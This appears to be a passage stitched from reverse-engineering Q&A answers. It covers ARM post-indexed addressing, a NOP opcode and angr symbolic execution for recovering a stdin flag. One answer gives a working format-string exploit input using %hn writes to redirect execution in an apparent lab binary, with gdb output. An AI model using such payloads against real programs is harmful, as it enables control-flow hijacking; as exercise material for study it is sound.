Indeed, it seems to be incorrect. The syntax [R0],#1 is called post-indexed: first the store (or load) is performed, and then the base address is incremented (or decremented) by the value specified. So the assignment and increment should be swapped.
As for 00 BF, it is the opcode for the NOP instruction, probably inserted to align next function on a 4-byte ...
The input string that finally let me execute the not nice function was echo -n -e '\x7c\xd0\xff\xffJUNK\x7e\xd0\xff\xff. %x %x %x %x %33929x %hn' > /tmp/xxx
This gave me:
(gdb) x/4xw 0xffffd070
0xffffd070: 0x00000001 0x00000003 0xf7e25a50 0x080484b4
you are in the NOT nice function!
If you can't modify the binary but through the static analysis you get the number of bytes you need to provide as a flag, you can construct bit vector
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(6)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
and pass that to the entry_state since the flag is provided as an input through stdin ...
I believe that the issue is related to the way gets symbolic procedure implemented in angr. You are asking to read 20 bytes, and as far as I understand, the actual symbolic memory that is allocated is of the size of 20 (19 string characters and a NULL terminator). Later, when you call to strcmp, the comparison will always fail, because you compare 20 bytes ...